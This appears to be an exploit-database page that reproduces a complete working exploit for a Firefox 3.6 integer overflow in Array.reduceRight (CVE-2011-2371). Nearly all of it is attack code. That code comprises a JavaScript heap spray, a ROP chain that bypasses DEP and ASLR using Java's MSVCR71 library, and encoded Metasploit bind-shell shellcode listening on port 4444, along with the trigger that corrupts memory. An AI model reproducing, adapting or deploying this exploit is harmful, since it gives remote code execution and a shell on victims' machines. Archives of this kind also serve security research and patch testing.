Mozilla Firefox Integer Overflow

2011-10-1300:00:00
Matteo Memelli
packetstormsecurity.com
0.957 High
EPSS
Percentile
99.4%
JSON
`# Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit  
# Date: 12 Oct 2011  
# Author: Matteo Memelli ryujin -AT- offensive-security.com  
# CVE-2011-2371  
# Full exploit package: http://www.exploit-db.com/sploits/17974.zip  
  
<html>  
<head>  
<title>ff-i-<3-u</title>  
</head>  
<body>  
<center>  
<br />  
Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit<br />  
Date: 12 Oct 2011<br />  
Author: Matteo Memelli ryujin -AT- offensive-security.com<br />  
CVE-2011-2371<br />  
Full exploit package: <br />  
http://www.exploit-db.com/sploits/17974.zip <br />  
<br />  
Thx to dookie for helping ;)<br/>  
Vulnerability discovered by Chris Rohlf and Yan Ivnitskiy of Matasano Security<br />  
http://www.mozilla.org/security/announce/2011/mfsa2011-22.html<br/>  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2371<br/>  
DEP / ASLR bypassing through JAVA MSVCR71 sayonara rop chain<br/>  
Tested on Windows 7 Ultimate / firefox 3.6.16 and 3.6.17<br/><br/>  
<APPLET id="MyApplet" code="ph33r.class" width=150 height=50>  
You need a Java-enabled browser to pwn this.  
</APPLET>  
</center>  
<script type="text/javascript">  
var applet = document.getElementById('MyApplet');  
  
function spray() {  
// fake object pointers  
var ptrs = unescape("%u4141" + // padding  
// MOV EDX,DWORD[ESI] 0c000048=0c00007c  
"%u0048%u0c00" +  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141" + // padding  
// PIVOT MSVCR71.dll 0x7C370EEF LEA ESP,[ESI-3]  
// RETN 1C75  
"%u0EEF%u7C37" +  
"%u4141%u4141" + // padding  
"%u4141" + // padding  
"%u240c%u3410" + // 3410240c RETN after PIVOT  
"%u007c%u0c00" + // 0c00007c PTR TO END OF BUFFER  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u4141%u4141" + // padding  
"%u002e%u0c00"); // 0c00007c -> 0c00002e  
// CALL PIVOT 0x7C370EEF  
  
var bheader = 0x12/2; // u.n.d.e.f.i.n.e.d. string  
// beginning of each array element  
var nullt = 0x2/2; // string null terminator  
  
// 0:000> ? 0c001cbe - 0c000012   
// Evaluate expression: 7340 = 00001cac  
var espoffset = (7340 /2) - ptrs.length;  
var esppadding = unescape("%u0c0c%u0c0c");  
while(esppadding.length < espoffset) {esppadding += esppadding;}  
esppadding = esppadding.substring(0, espoffset);  
  
// sayonara rop chain  
rop = unescape("%u4cc1%u7c34"); // pop eax;ret;  
rop += unescape("%u10c2%u7c34"); // pop ecx;pop ecx;ret;  
rop += unescape("%u2462%u7c34"); // xor chain; call eax {0x7C3410C2}  
rop += unescape("%uc510%u7c38"); // writeable loc for lpflOldProtect  
rop += unescape("%u5645%u7c36"); // pop esi;ret;  
rop += unescape("%u5243%u7c34"); // ret;  
rop += unescape("%u8f46%u7c34"); // pop ebp;ret;  
rop += unescape("%u87ec%u7c34"); // call eax;  
rop += unescape("%u4cc1%u7c34"); // pop eax;ret;  
rop += unescape("%ufdff%uffff"); // {size}  
rop += unescape("%ud749%u7c34"); // neg eax;ret; {adjust size}  
rop += unescape("%u58aa%u7c34"); // add ebx, eax;ret; {size into ebx}  
rop += unescape("%u39fa%u7c34"); // pop edx;ret;  
rop += unescape("%uffc0%uffff"); // {flag}  
rop += unescape("%u1eb1%u7c35"); // neg edx;ret; {adjust flag}  
rop += unescape("%u4648%u7c35"); // pop edi;ret;  
rop += unescape("%u30ea%u7c35"); // mov eax,[eax];ret;  
rop += unescape("%u4cc1%u7c34"); // pop eax;ret;  
rop += unescape("%ua181%u7c37"); // (VP RVA + 30 - {0xEF adjustment}  
rop += unescape("%u5aeb%u7c35"); // sub eax,30;ret;  
rop += unescape("%u8c81%u7c37"); // pushad; add al,0xef; ret;  
rop += unescape("%u683f%u7c36"); // push esp;ret;  
rop += unescape("%ubc90%u0c0c%u0c0c"); // NOP / MOV ESP,0x0c0c0c0c  
  
// windows/shell_bind_tcp - 341 bytes  
// http://www.metasploit.com  
// VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,  
// InitialAutoRunScript=, AutoRunScript=  
var shell = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +  
"%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +  
"%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +  
"%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +  
"%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +  
"%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +  
"%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +  
"%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +  
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +  
"%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +  
"%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +  
"%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +  
"%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +  
"%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +  
"%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +  
"%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +  
"%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +  
"%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +  
"%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +  
"%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +  
"%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +  
"%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +  
"%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +  
"%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +  
"%u006a%uff53%u41d5");  
rop += shell;  
  
var tr_padding = unescape("%u0c0c%u0c0c");  
while(tr_padding.length < 0x80000) {tr_padding += tr_padding;}  
  
var dummy = ptrs + esppadding + rop + tr_padding;   
var hspray = dummy.substring(0,0x80000 - bheader - nullt);   
  
// Allocation of 64 blocks of 1Mb.  
HeapBlocks = new Array()  
for (i=0;i<0x40;i++){  
HeapBlocks[i] += hspray;  
}  
}  
  
spray();  
hola = new Array;  
hola.length = 2197815302; // 0x0c000014 beginning of sprayed block  
  
w00t = function ph33r(prev, myobj, indx, array) {  
alert(myobj[0]); // trigger getProperty  
}  
  
hola.reduceRight(w00t,1,2,3);  
  
</script>  
</body>  
</html>  
  
  
`
0.957 High
EPSS
Percentile
99.4%
JSON
Related for PACKETSTORM:105745